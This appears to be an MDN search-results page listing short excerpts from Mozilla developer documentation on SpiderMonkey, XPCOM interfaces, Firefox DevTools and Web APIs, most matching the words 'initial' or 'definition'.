... create a new instance of (a concrete subclass of) jsobjectmap (see jsobj.h), with the nrefs and ops members initialized from the same-named parameters, and with the nslots and freeslot members initialized according to ops and clasp.
JSPrincipals
obsolete since jsapi 13 getprincipalarray void * (*)(jscontext *, jsprincipals *) pointer to the function that returns an array of principal definitions.
... the data content of a principals object is defined by the application, which creates instances of jsprincipals, initializes their refcount fields to 1, and passes them into the engine through the js_...forprincipals functions.
JS_Add*Root
this variable must already be initialized.
... (for example, it must not be an uninitialized local variable.
JS_ConstructObject
create a new object of the specified class, with the specified prototype and parent, then invokes a constructor function to initialize the new object.
... description js_constructobject creates a new object of the specified class, with the specified prototype and parent, then invokes a constructor function to initialize the new object.
JS_DefineElement
value js::handlevalue or js::handleobject or js::handlestring or int32_t or uint32_t or double or jsval initial value to assign to the property.
...value is one of js::value, jsobject, jsstring, int32_t, uint32_t, or double that defines the property's initial value.
JS_DefineProperties
the initial stored value of each property created is undefined.
...see also mxr id search for js_defineproperties js_defineconstdoubles js_defineelement js_definefunction js_definefunctions js_defineobject js_defineproperty js_initclass bug 855582 ...
JS_GetParent
an object created by a script via implicit conversion (the ecmascript toobject operator), an object initializer ({a: 1, b: 2}), or an array initializer ([1, 2, 3]), has the global object as its parent.
... the initial parent of an object created via the jsapi depends on the particular jsapi function (of which there are many that create objects, including but not limited to js_newobject, js_constructobject, js_defineobject, js_valuetoobject, js_newarrayobject, js_newscriptobject, js_newfunction, js_compilefunction, js_definefunction, js_definefunctions, and js_initclass).
JS_IsConstructing_PossiblyWithGivenThisObject
vp const jsval * maybethis jsobject ** description in the case of a constructor called from js_constructobject and js_initclass where the class has the jsclass_construct_prototype flag set, spidermonkey passes the constructor a non-standard this object.
... jsbool foo_native(jscontext *cx, unsigned int argc, jsval *vp) { jsobject *maybethis; if (js_isconstructing_possiblywithgiventhisobject(cx, vp, &maybethis)) { // native called as a constructor if (maybethis) // native called as a constructor with maybethis as 'this' } else { // native called as function, maybethis is still uninitialized } } note: a spidermonkey embedding does not need to use this query unless the embedding uses js_constructobject(), js_initclass() and jsclass_construct_prototype as described above.
JS_NewArrayObject
contents js::handlevaluearray&amp; reference to the initial values for the array's elements.
... vector jsval * pointer to the initial values for the array's elements, or null.
JS_NewContext
for sample code that creates and initializes a jscontext, see jsapi user guide.
... the new jscontext initially has no global object.
JS_ResolveStandardClass
syntax bool js_resolvestandardclass(jscontext *cx, js::handleobject obj, js::handleid id, bool *resolved); name type description cx jscontext * pointer to the executable script context for which to initialize js function and object classes.
...if id does not name a standard class or a top-level property induced by initializing a standard class, store false in *resolved and just return true.
JS_ShutDown
it is currently not possible to initialize spidermonkey multiple times (that is, calling js_init, then other jsapi methods, then js_shutdown in that order, then doing so again).
...see also mxr id search for js_shutdown js_init js_newruntime js_destroyruntime js_newcontext js_destroycontext ...
JS_malloc
as with the standard c function malloc, memory allocated by js_malloc is uninitialized.
...apart from whatever is copied, any newly allocated space is uninitialized.
SpiderMonkey 45
js_setcurrentembeddertimefunction (bug 1159507) js_getcurrentembeddertime (bug 1159507) js_mayresolvestandardclass (bug 1155946) js_getiteratorprototype (bug 1225392) js_globallexicalscope (bug 1202902) js_hasextensiblelexicalscope (bug 1202902) js_extensiblelexicalscope (bug 1202902) js_initreflectparse (bug 987514) js::toprimitive (bug 1206168) js::getfirstargumentastypehint (bug 1054756) js::objecttocompletepropertydescriptor (bug 1144366) js_setimmutableprototype (bug 1211607) js_getownucpropertydescriptor (bug 1211607) js_hasownpropertybyid (bug 1211607) js_hasownproperty (bug 1211607) js_deleteucproperty (bug 1211607) js::newfunctionfromspec (bug 1054756) js::compilefo...
...ylength js_idarrayget js_destroyidarray js_defaultvalue js_getparent js_setparent js::parsepropertydescriptorobject js_deleteproperty2 js_deletepropertybyid2 js_deleteucproperty2 js_deleteelement2 js_newfunctionbyid js_bindcallable js_decompilefunctionbody js_getlatin1internedstringchars js_gettwobyteinternedstringchars js_newdateobjectmsec js_cleardatecaches changed apis js_init has moved from jsapi.h to js/initialization.h js_shutdown has moved from jsapi.h to js/initialization.h js_initreflect is now implicit js_addweakpointercallback is replaced with js_addweakpointerzonegroupcallback and js_addweakpointercompartmentcallback js_removeweakpointercallback is replaced with js_removeweakpointerzonegroupcallback and js_removeweakpointercompartmentcallback api changes...
Mork
MozillaTechMork
meta-dictionaries are in practice only used to change the scope of alias definitions (the '(a=c)' that you can see in files).
...the presence of an initial minus means to delete all cells before adding new cells.
Frecency algorithm
developer notes there are various development notes you can read about places that may offer additional insights: initial algorithm ideas implementation notes history the initial algorithm design was by mike connor and seth spitzer.
... the initial implementation was done by seth and dietrich ayala.
Places Developer Guide
importing: importhtmlfromfile (nsilocalfile afile, boolean aisinitialimport) - this imports all the bookmarks in the specified file into the current bookmarks collection.
... if aisinitialimport is true, all pre-existing bookmarks in the toolbar and menu folders will be deleted.
Aggregating the In-Memory Datasource
say you were writing a datasource2, and the way you chose to implement it was to "wrap" the in-memory datasource; i.e., myclass : public nsimyinterface, public nsirdfdatasource { private: nscomptr<nsirdfdatasource> minner; public: // nsirdfdatasource methods ns_imethod init(const char* auri) { return minner->init(auri); } ns_imethod geturi(char* *auri) { return minner->geturi(auri); } // etc., for each method in nsirdfdatasource!
...then the queryinterface() will be forwarded back to you, and we'll recurse off to infinity (and beyond!...
Fun With XBL and XPConnect
the interface definition feature of xbl is used to define an interface through xpconnect to a c++ object that does auto completion.
...the initial value of this property evaluates to an xp-connect object.
XPCOM glue
MozillaTechXPCOMGlue
this is the case for xpcom components, because they are loaded into mozilla which already has full xpcom loaded and initialized.
...only then can the embedding application initialize and use xpcom.
Finishing the Component
the component will be recognized by xpcom and registered with the category manager so that it starts up when xpcom initializes.
... * * a user of a service may keep references to particular services * indefinitely and only must call release when it shuts down.
Setting up the Gecko SDK
x81, 0x61, 0x16, 0x5f } } class cspecialthing : public ispecialthing { public: ns_decl_isupports ns_decl_ispecialthing cspecialthing(); private: ~cspecialthing(); protected: /* additional members */ nsstring mname; }; #endif cspecialthing.cpp #include "cspecialthing.h" ns_impl_isupports1(cspecialthing, ispecialthing) cspecialthing::cspecialthing() { /* member initializers and constructor code */ mname.assign(l"default name"); } cspecialthing::~cspecialthing() { /* destructor code */ } /* attribute astring name; */ ns_imethodimp cspecialthing::getname(nsastring & aname) { aname.assign(mname); return ns_ok; } ns_imethodimp cspecialthing::setname(const nsastring & aname) { mname.assign(aname); return ns_ok; } /* long add (in long a,...
... also, if you notice, this turns on "xp_win" and "xp_win32" definitions, this allows xp and onward support.
How to build a binary XPCOM component using Visual Studio
then make the following tweaks: add "..\gecko-sdk\include" to additional include directories add "..\gecko-sdk\lib" to additional library directories add "nspr4.lib xpcom.lib xpcomglue_s.lib" to additional dependencies add "xp_win;xp_win32″ to preprocessor definitions turn off precompiled headers (just to keep it simple) use a custom build step for the xpcom idl file (spawns xpidl-build.bat to process the idl with mozilla toolset, not midl) vc++ express project: xpcom-test.zip note: the project uses xpcom_glue.
...0x11db, { 0x96, 0x73, 0x0, 0xe0, 0x81, 0x61, 0x16, 0x5f } } class cspecialthing : public ispecialthing { public: ns_decl_isupports ns_decl_ispecialthing cspecialthing(); private: ~cspecialthing(); protected: /* additional members */ nsstring mname; }; #endif cpp file: #include "comp-impl.h" ns_impl_isupports1(cspecialthing, ispecialthing) cspecialthing::cspecialthing() { /* member initializers and constructor code */ mname.assign(l"default name"); } cspecialthing::~cspecialthing() { /* destructor code */ } /* attribute astring name; */ ns_imethodimp cspecialthing::getname(nsastring & aname) { aname.assign(mname); return ns_ok; } ns_imethodimp cspecialthing::setname(const nsastring & aname) { mname.assign(aname); return ns_ok; } /* long add (in long a, in long b); */ ns...
Interfacing with the XPCOM cycle collector
add a line declaring that your class nsfoo participates in the cycle collection in nsfoo.cpp: ns_impl_cycle_collection_class(nsfoo) change the line ns_decl_isupports to ns_decl_cycle_collecting_isupports in the definition of nsfoo.
... add a line ns_decl_cycle_collection_class(nsfoo) within the public portion of definition of nsfoo.
Components.isSuccessCode
note: nsiasyncstreamcopier.init() has changed in gecko 1.9.2, omit last 2 boolean parameters if you're using gecko 1.9.1 and earlier.
...(statuscode)) copyfailed = true; }, queryinterface: function(aiid) { if (aiid.equals(ci.nsirequestobserver) || aiid.equals(ci.nsisupports)) return this; throw cr.ns_error_no_interface; } }; var copier = cc["@mozilla.org/network/async-stream-copier;1"] .createinstance(ci.nsiasyncstreamcopier); copier.init(instream, outstream, null, true, false, 8192, true, true); copier.asynccopy(copyobserver, null); } ...
PyXPCOM
pyxpcom also contains several classes that provide access to functions for initializing and shutting down xpcom and gecko from python, as well as some xpcom helper functions.
... history pyxpcom was initially developed by activestate tool corporation, and came out of their komodo project.
NS_ShutdownXPCOM
#include "nsxpcom.h" nsresult ns_shutdownxpcom( nsiservicemanager* asvcmanager ); parameters asvcmanager [in] the nsiservicemanager instance that was returned by ns_initxpcom2 (or ns_initxpcom3) or null.
... see also ns_initxpcom2, ns_initxpcom3 ...
Core XPCOM functions
xpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.
...etcomponentmanager function returns a reference to the xpcom component manager.ns_getcomponentregistrarthe ns_getcomponentregistrar function returns a reference to the xpcom component registrar.ns_getmemorymanagerthe ns_getmemorymanager function returns a reference to the xpcom memory manager.ns_getservicemanagerthe ns_getservicemanager function returns a reference to the xpcom service manager.ns_initxpcom2the ns_initxpcom2 function initiates use of xpcom in the calling process.ns_initxpcom3the ns_initxpcom3 function initiates use of xpcom in the calling process with support for statically defined xpcom modules.
nsEmbedCString
see, for example, ns_cstringcontainerinit.
... see also ns_cstringcontainerinit, nsacstring ...
nsEmbedString
see, for example, ns_stringcontainerinit.
... see also ns_stringcontainerinit, nsastring ...
mozIRegistry
in addition, it likely will have a couple of minor extensions: support for specifying the .reg file name on initialize().
... adding support so that the underlying moziregistry implementation can be tailored by the initializer (client application).
nsICacheEntryDescriptor
see nsicache for the definitions of the access modes and a thorough description of their corresponding meanings.
...see nsicache for the definitions of the storage policies.
nsIChannel
this means that: the stream listener this channel will be notifying was initially passed to the asyncopen() method of some other channel this channel's uri is a better identifier of the resource being accessed than this channel's originaluri.
... load_initial_document_uri 19 set (for example by the docshell) to indicate whether or not the channel corresponds to an initial document uri load (for example link click).
nsIConverterOutputStream
to create an instance, use: var converteroutputstream = components.classes["@mozilla.org/intl/converter-output-stream;1"] .createinstance(components.interfaces.nsiconverteroutputstream); method overview void init(in nsioutputstream aoutstream, in string acharset, in unsigned long abuffersize, in prunichar areplacementcharacter); methods init() initialize this stream.
...void init( in nsioutputstream aoutstream, in string acharset, in unsigned long abuffersize, in prunichar areplacementcharacter ); parameters aoutstream the underlying output stream to which the converted strings will be written.
nsICookieService
afirsturi the uri that the user originally typed in or clicked on to initiate the load of the document referenced by auri.
... afirsturi the uri that the user originally typed in or clicked on to initiate the load of the document referenced by auri.
nsIDBFolderInfo
obsolete since gecko 1.8 astring getproperty(in string propertyname); nsidbfolderinfo gettransferinfo(); unsigned long getuint32property(in string propertyname, in unsigned long defaultvalue); void initfromtransferinfo(in nsidbfolderinfo transferinfo); long orflags(in long flags); void setbooleanproperty(in string propertyname, in boolean apropertyvalue); void setcharacterset(in string charset); void setcharactersetoverride(in boolean charactersetoverride); obsolete since gecko 1.8 void setcharptrproperty(in string a...
... exceptions thrown missing exception missing description getuint32property() unsigned long getuint32property( in string propertyname, in unsigned long defaultvalue ); parameters propertyname missing description defaultvalue missing description return value missing description exceptions thrown missing exception missing description initfromtransferinfo() void initfromtransferinfo( in nsidbfolderinfo transferinfo ); parameters transferinfo missing description exceptions thrown missing exception missing description orflags() long orflags( in long flags ); parameters flags missing description return value missing description exceptions thrown missing exception mis...
nsIDOMClientRect
see also cssom view module : the clientrect interfacewd this object was renamed a few times: initial name was textrectangle, then clientrect, then domrect.
... initially it had just the top/left/right/bottom attributes, then width/height/x/y were added.
nsIDownloader
inherits from: nsistreamlistener last changed in gecko 1.7 method overview void init(in nsidownloadobserver observer, in nsifile downloadlocation); methods init() initialize this downloader.
... void init( in nsidownloadobserver observer, in nsifile downloadlocation ); parameters observer the nsidownloadobserver to be notified when the download completes.
nsIEnvironment
note: * for unix/linux platforms we follow the unix definition: an environment variable exists when getenv() returns a non-null value.
... for non-unix/linux platforms we have to fall back to a "portable" definition (which is incorrect for unix/linux!!!!) which simply checks whether the string returned by get() is empty or not.
nsIFile
void create(in unsigned long type, in unsigned long permissions); void createunique(in unsigned long type, in unsigned long permissions); boolean equals(in nsifile infile); boolean exists(); acstring getrelativedescriptor(in nsifile fromfile); void initwithfile(in nsifile afile); void initwithnativepath(in acstring filepath); void initwithpath(in astring filepath); boolean isdirectory(); boolean isexecutable(); boolean isfile(); boolean ishidden(); boolean isreadable(); boolean isspecial(); boolean issymlink(); boolean iswritable(); void launch(); ...
... note: the definition of a special system file is platform dependent.
nsIFileStreams
last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void init(in nsifile file, in long ioflags, in long perm, in long behaviorflags); constants constants value description delete_on_close 1<<1 if this is set, the file will be deleted by the time the stream is closed.
...(the file will only be reopened if it is closed for some reason.) methods init() void init( in nsifile file, in long ioflags, in long perm, in long behaviorflags ); parameters file file to read from (must qi to nsilocalfile).
nsILoginManagerPrompter
to call this service, use: var loginmanagerprompter = components.classes["@mozilla.org/login-manager/prompter;1"] .getservice(components.interfaces.nsiloginmanagerprompter); method overview void init(in nsidomwindow awindow); void prompttochangepassword(in nsilogininfo aoldlogin, in nsilogininfo anewlogin); void prompttochangepasswordwithusernames([array, size_is(count)] in nsilogininfo logins, in pruint32 count, in nsilogininfo anewlogin); void prompttosavepassword(in nsilogininfo alogin); methods init() initialize the prompter.
... void init( in nsidomwindow awindow ); parameters awindow the in which the user is doing some login-related action that is resulting in a need to prompt them for something.
nsIMessageBroadcaster
throws ns_error_not_initialized if the sender is not initialized.
... for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process frame but the other process has not yet been set up.
nsIMessageSender
throws ns_error_not_initialized if the sender is not initialized.
... for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process frame but the other process has not yet been set up.
nsIMimeHeaders
as a service: var mimeheaders = components.classes["@mozilla.org/????????????????????????????"] .createinstance(components.interfaces.nsimimeheaders); method overview string extractheader([const] in string headername, in boolean getallofthem); void initialize([const] in string allheaders, in long allheaderssize); attributes attribute type description allheaders string read only.
... methods extractheader() string extractheader( [const] in string headername, in boolean getallofthem ); parameters headername missing description getallofthem missing description return value missing description exceptions thrown missing exception missing description initialize() void initialize( [const] in string allheaders, in long allheaderssize ); parameters allheaders insert the complete message content allheaderssize length of the passed in content exceptions thrown missing exception missing description remarks see also ...
Building an Account Manager Extension
components.utils.import("resource://gre/modules/xpcomutils.jsm"); //class constructor function devmoaccountmanagerextension() {}; // class definition devmoaccountmanagerextension.prototype = { name : "devmo-account", chromepackagename : "example@mozilla.org", showpanel: function(server) { //this panel is only shown for imap accounts...
... function onpreinit(account, accountvalues) { } function oninit(pageid, serverid) { } function onaccepteditor() { } function onsave() { } function updatepage() {} step5: putting it all together // todo build an demo extension for this tutorial...
nsINavHistoryResultNode
its initial value will be -1.
...other views may choose not to use this, but should inititalize this value to anything but -1 for visible nodes.
nsIPluginHost
void init(); native code only!
... getplugintags() void getplugintags( out unsigned long aplugincount, optional [retval, array, size_is(aplugincount)] out nsiplugintag aresults ); parameters aplugincount optional aresults native code only!handlebadplugin void handlebadplugin( in prlibraryptr alibrary, in nsiplugininstance instance ); parameters alibrary instance native code only!init void init(); parameters none.
nsIRequest
netwerk/base/nsirequest.idlscriptable this interface is used by the request initiator to control the request.
...requests do not necessarily start out pending; in some cases, requests have to be explicitly initiated (for example nsichannel implementations are only pending once asyncopen returns successfully).
nsISocketTransportService
nsisockettransport createtransport(in array<acstring> asockettypes, in autf8string ahost, in long aport, in nsiproxyinfo aproxyinfo); void init(); obsolete since gecko 1.8 void notifywhencanattachsocket(in nsirunnable aevent); native code only!
... init() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) void init(); parameters none.
nsISyncMessageSender
throws ns_error_not_initialized if the sender is not initialized.
... for example, we will throw ns_error_not_initialized if we try to send a message to a cross-process frame but the other process has not yet been set up.
nsIURL
and hence don't rely on this for something to be a definitely be a file.
...and hence don't rely on this to be a definite file.
nsIWebProgressListener
this flag is set when a request is initiated.
...ryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsidomwindowutils) .outerwindowid; sendasyncmessage("myaddonmessage", { name: "onlocationchange", outerwindowid: outerwindowid, uri: auri.spec, charset: auri.charset, flag: aflag, }); }, // for definitions of the remaining functions see related documentation onprogresschange: function(awebprogress, arequest, curself, maxself, curtot, maxtot) {}, onstatuschange: function(awebprogress, arequest, astatus, amessage) {}, onsecuritychange: function(awebprogress, arequest, astate) {} } let filter = cc["@mozilla.org/appshell/component/browser-status-filter;1"] .createinstan...
nsIWindowsRegKey
it is possible to initialize this object by setting an hkey on it.
... stopwatching() this method stops any watching of the key initiated by a call to startwatching().
nsIXPCException
inherits from: nsiexception last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) method overview void initialize(in string amessage, in nsresult aresult, in string aname, in nsistackframe alocation, in nsisupports adata, in nsiexception ainner); xpcexjsval stealjsval(); native code only!
... methods initialize() void initialize( in string amessage, in nsresult aresult, in string aname, in nsistackframe alocation, in nsisupports adata, in nsiexception ainner ); parameters amessage aresult aname alocation adata ainner native code only!stealjsval xpcexjsval stealjsval(); parameters none.
nsIXPCScriptable
this will always be one of three values: jsenumerate_init a new, opaque iterator state should be allocated and stored in statep.
... jsenumerate_destroy this function should destroy the opaque iterator state previously allocated in statep by this function when enum_op was jsenumerate_init.
nsIXmlRpcClient
last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) inherits from: nsisupports method overview void init(in string serverurl); void setauthentication(in string username, in string password); void clearauthentication(in string username, in string password); void setencoding(in string encoding); void setencoding(in unsigned long type, out nsiidref uuid, out nsqiresult result); void asynccall (in nsixmlrpcclientlistener listener, in nsisupports ctxt, in string methodname, in nsisupports arguments, in pruint32 count); attributes attribute type description serverurl readonly nsi...
... constants constant type description int unsigned long nsisupportsprint32 boolean unsigned long nsisupportsprbool string unsigned long nsisupportscstring double unsigned long nsisupportsdouble datetime unsigned long nsisupportsprtime array readonly unsigned long nsisupportsarray struct readonly unsigned long nsisupportsdictionary methods init() set server url.
nsIXmlRpcFault
inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview void init(in print32 faultcode, in string faultsring); string tostring(); attributes attribute type description faultcode print32 read only.
... methods init() void getdata( in print32 faultcode, in string faultstring ); parameters faultcode tostring() string tostring(); ...
XPCOM Interface Reference by grouping
data this section contains data wrappers and core object definitions.
...ompletesearch console nsiconsolelistener nsiconsolemessage nsiconsoleservice document nsidocshell dom device nsidomgeogeolocation nsidomgeoposition nsidomgeopositionaddress nsidomgeopositioncallback nsidomgeopositioncoords nsidomgeopositionerror nsidomgeopositionerrorcallback nsidomgeopositionoptions nsidomglobalpropertyinitializer element nsidomchromewindow nsidomclientrect nsidomelement nsidomhtmlaudioelement nsidomhtmlformelement nsidomhtmlmediaelement nsidomhtmlsourceelement nsidomhtmltimeranges nsidomjswindow nsidomnode nsidomnshtmldocument nsidomstorageitem nsidomstoragemanager nsidomwindow nsidomwindow2 nsidomwindowinternal nsidomwindo...
NS_StringContainerFinish
example code see ns_stringcontainerinit for an example.
... see also ns_stringcontainerinit ...
XPCOM string functions
this is a low-level api.ns_cstringclonedatathe ns_cstringclonedata function returns a null-terminated, heap allocated copy of the string's internal buffer.ns_cstringcontainerfinishthe ns_cstringcontainerfinish function releases any memory allocated by a nscstringcontainer instance.ns_cstringcontainerinitthe ns_cstringcontainerinit function initializes a nscstringcontainer instance for use as a nsacstring.ns_cstringcontainerinit2the ns_cstringcontainerinit2 function initializes a nscstringcontainer instance for use as a nsacstring.ns_cstringcopythe ns_cstringcopy function copies the value from one nsacstring instance to another.
...this is a low-level api.ns_stringcontainerinitthe ns_stringcontainerinit function initializes a nsstringcontainer instance for use as a nsastring.
XPCOM reference
core xpcom functionsxpcom provides a number of global functions which are used to initialize and shut down the xpcom library, as well as to allocate memory, get access to services, and to instantiate interfaces.foldersthe folder classes all implement the nsimsgfolder interface.
...for example, to request the 'show all threads' view use the constant:nsstaticmoduleinfothis data structure is used by ns_initxpcom3 to specify static xpcom modules.standard xpcom componentsthere are a number of components provided in the standard implementation of xpcom; these are as follows.xpcom glue classesthese "glue" classes are provided to make it easier to use xpcom from c++ code.xpcom interface referencethis is a reference to the xpcom interfaces provided by the mozilla platform.xpcom interface reference by grou...
Setting HTTP request headers
you can add your own http headers to any request the application makes, whether the request is initiated by your code explicitly opening an http channel, because of xmlhttprequest activity, an <img> element in content, or even from css.
...in the case your code initiates the request, you probably already have one.
Performance
you may want to check the sqlite_version definition in db/sqlite3/src/sqlite3.h for the current version if you are having problems.
...you can see an example of setting the maximum cache size to be a percentage of memory in nsnavhistory::initdb in toolkit/components/places/src/nsnavhistory.cpp.
XPCOM Thread Synchronization
prlock* mlock; prmonitor* mmonitor; prcondvar* mcvar; fooconstructor() { } nsresult init() { mlock = nsautolock::newlock("foo lock"); // check for null mmonitor = nsautomonitor::newmonitor("foo monitor"); // check for null mcvar = pr_newcondvar(mrawlock); // check for null // ...
... } new construction using namespace mozilla; mutex mlock; monitor mmonitor; condvar mcvar; fooconstructor() : mlock("foo lock"), mmonitor("foo monitor"), mcvar(mlock, "foo condvar") { } nsresult init() { // ...
Frequently Asked Questions
initialize an nscomptr?
...[see initialization and assignment for more details] you should note, though, that there is a small performance penalty for this.
Getting Started Guide
the caller can then hold onto the reference indefinitely, calling release when it no longer needs it.
... */ mfooptr = afooptr; additionally, the class using raw xpcom interface pointers will need a destructor to release mfooptr; and a constructor to ensure that mfooptr is initially set to null (or some other reasonable value).
Xray vision
on() {return 1000}; var date = new date(); // chrome code // contentwindow is an xray, and date is an expando on contentwindow // so date is filtered out gbrowser.contentwindow.date.getfullyear() // -> typeerror: gbrowser.contentwindow.date is undefined the chrome code will only even see date if it waives xrays, and then, because waiving is transitive, it should expect to be vulnerable to redefinition: // chrome code components.utils.waivexrays(gbrowser.contentwindow).date.getfullyear(); // -> 1000 however, there are some situations in which privileged code will access javascript objects that are not themselves dom objects and are not properties of dom objects.
... for example: the detail property of a customevent fired by content could be a javascript object or date as well as a string or a primitive the return value of evalinsandbox() and any properties attached to the sandbox object may be pure javascript objects also, the webidl specifications are starting to use javascript types such as date and promise: since webidl definition is the basis of dom xrays, not having xrays for these javascript types starts to seem arbitrary.
Spam filtering
initially, the training.dat file is empty (there was discussion of shipping with a default file).
... initial state user action table changes unknown (user can't see this, looks like "not junk") mark as junk add tokens to bad unknown (user can't see this, looks like "not junk") mark as not junk add tokens to good not junk mark as junk remove tokens from good, add tokens to bad not junk mark as not junk no op junk mark as jun...
Adding items to the Folder Pane
a note about the initial rebuild when thunderbird first starts up, the folder pane does an initial rebuild to get the first data it should display.
...thus, extensions may need to do manual insertions when this load event fires, if they want to add items to the initial display.
libmime content type handlers
note: these will all register by their content type prefixed by the * following: mimecth:text/vcard * * libmime will then use nscomponentmanager::contractidtoclsid() to * locate the appropriate content type handler */ #ifndef nsimimecontenttypehandler_h_ #define nsimimecontenttypehandler_h_ typedef struct { prbool force_inline_display; } contenttypehandlerinitstruct; #include "prtypes.h" #include "nsisupports.h" #include "mimecth.h" // {20dabd99-f8b5-11d2-8ee0-00a024a7d144} #define ns_imime_content_type_handler_iid \ { 0x20dabd99, 0xf8b5, 0x11d2, \ { 0x8e, 0xe0, 0x0, 0xa0, 0x24, 0xa7, 0xd1, 0x44 } } class nsimimecontenttypehandler : public nsisupports { public: static const nsiid& getiid() { static nsiid iid = ns_imime_content...
..._type_handler_iid; return iid; } ns_imethod getcontenttype(char **contenttype) = 0; ns_imethod createcontenttypehandlerclass(const char *content_type, contenttypehandlerinitstruct *initstruct, mimeobjectclass **objclass) = 0; }; #endif /* nsimimecontenttypehandler_h_ */ plugin installation/location the installation of these modules will be similar to the that of any xpcom component (i.e.
Plug-in Side Plug-in API - Plugins
np_initialize provides global initialization for a plug-in.
... np_shutdown provides global deinitialization for a plug-in.
DOM Inspector internals - Firefox Developer Tools
initially, we will begin by focusing on inspector.xul and its entry point, and then expand our focus later to explain how these other inspectors differ.
...for that reason, only those menuitems' ids are referenced here, and the complete definitions are imported from editingoverlay.xul.
Debugger.Memory - Firefox Developer Tools
allocation site tracking is initially disabled in a new debugger.
... on a new debugger.memory instance, each of these properties is initially undefined.
Debugger.Source - Firefox Developer Tools
if a single piece of source code contains both top-level code and function definitions, perhaps with nested functions, then the debugger.script instances for those all refer to the same debugger.source instance.
...if one assigns a function, that function’s script’s source doesnot belong to the dom element; the function’s definition must appear elsewhere.) (if the sources attached to a dom element change, the debugger.source instances representing superceded code still refer to the dom element; this accessor only reflects origins, not current relationships.) elementattributename if this source belongs to a dom element because it is an event handler content attribute or an event handler idl attribute, this is th...
Debugger.Object - Firefox Developer Tools
for example, in firefox, code in privileged compartments sees content dom element objects without redefinitions or extensions made to that object's properties by content code.
... decompile([pretty]) if the referent is a function that is debuggee code, return the javascript source code for a function definition equivalent to the referent function in its effect and result, as a string.
Responsive Design Mode - Firefox Developer Tools
initially, it's set to 320 x 480 pixels.
...s 20 kb/s 500 regular 2g 250 kb/s 50 kb/s 300 good 2g 450 kb/s 150 kb/s 150 regular 3g 750 kb/s 250 kb/s 100 good 3g 1.5 mb/s 750 kb/s 40 regular 4g/lte 4 mb/s 3 mb/s 20 dsl 2 mb/s 1 mb/s 5 wi-fi 30 mb/s 15 mb/s 2 to select a network, click the list box that's initially labeled "no throttling": ...
Web Console remoting - Firefox Developer Tools
the isxhr flag indicates if the request was initiated via an xmlhttprequest instance, that is: the nsihttpchannel's notification is of an nsixmlhttprequest interface.
... "dns": 0, "connect": 0, "send": 0, "wait": 16, "receive": 0 }, "totaltime": 16 } the fileactivity packet when a file load is observed the following fileactivity packet is sent to the client: { "from": "conn0.console9", "type": "fileactivity", "uri": "file:///home/mihai/public_html/mozilla/test2.css" } history protocol changes by firefox version: firefox 18: initial version.
ANGLE_instanced_arrays.drawArraysInstancedANGLE() - Web APIs
examples var ext = gl.getextension('angle_instanced_arrays'); ext.drawarraysinstancedangle(gl.points, 0, 8, 4); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
... recommendation initial definition.
ANGLE_instanced_arrays.drawElementsInstancedANGLE() - Web APIs
examples var ext = gl.getextension('angle_instanced_arrays'); ext.drawelementsinstancedangle(gl.points, 2, gl.unsigned_short, 0, 4); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
... recommendation initial definition.
ANGLE_instanced_arrays.vertexAttribDivisorANGLE() - Web APIs
examples var ext = gl.getextension('angle_instanced_arrays'); ext.vertexattribdivisorangle(0, 2); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
... recommendation initial definition.
ANGLE_instanced_arrays - Web APIs
examples enabling the extension: var ext = gl.getextension('angle_instanced_arrays'); specifications specification status comment angle_instanced_arraysthe definition of 'angle_instanced_arrays' in that specification.
... recommendation initial definition.
AbortSignal.aborted - Web APIs
console.log('request has been aborted') : console.log('request not aborted'); specifications specification status comment domthe definition of 'onabort' in that specification.
... living standard initial definition ...
AbortSignal.onabort - Web APIs
var controller = new abortcontroller(); var signal = controller.signal; signal.onabort = function() { console.log('request aborted'); }; specifications specification status comment domthe definition of 'onabort' in that specification.
... living standard initial definition ...
AddressErrors.addressLine - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.addressline' in that specification.
... candidate recommendation initial definition.
AddressErrors.city - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.city' in that specification.
... candidate recommendation initial definition.
AddressErrors.country - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.country' in that specification.
... candidate recommendation initial definition.
AddressErrors.dependentLocality - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.dependentlocality' in that specification.
... candidate recommendation initial definition.
AddressErrors.languageCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.languagecode' in that specification.
... candidate recommendation initial definition.
AddressErrors.organization - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.organization' in that specification.
... candidate recommendation initial definition.
AddressErrors.phone - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.phone' in that specification.
... candidate recommendation initial definition.
AddressErrors.postalCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.postalcode' in that specification.
... candidate recommendation initial definition.
AddressErrors.recipient - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.recipient' in that specification.
... candidate recommendation initial definition.
AddressErrors.region - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.region' in that specification.
... candidate recommendation initial definition.
AddressErrors.regionCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.regioncode' in that specification.
... candidate recommendation initial definition.
AddressErrors.sortingCode - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors.sortingcode' in that specification.
... candidate recommendation initial definition.
AddressErrors - Web APIs
specifications specification status comment payment request apithe definition of 'addresserrors' in that specification.
... candidate recommendation initial definition.
AesCbcParams - Web APIs
the initialization vector.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aescbcparams' in that specification.
AesGcmParams - Web APIs
iv a buffersource — the initialization vector.
... specifications specification status comment web cryptography apithe definition of 'subtlecrypto.aesgcmparams' in that specification.
Ambient Light Events - Web APIs
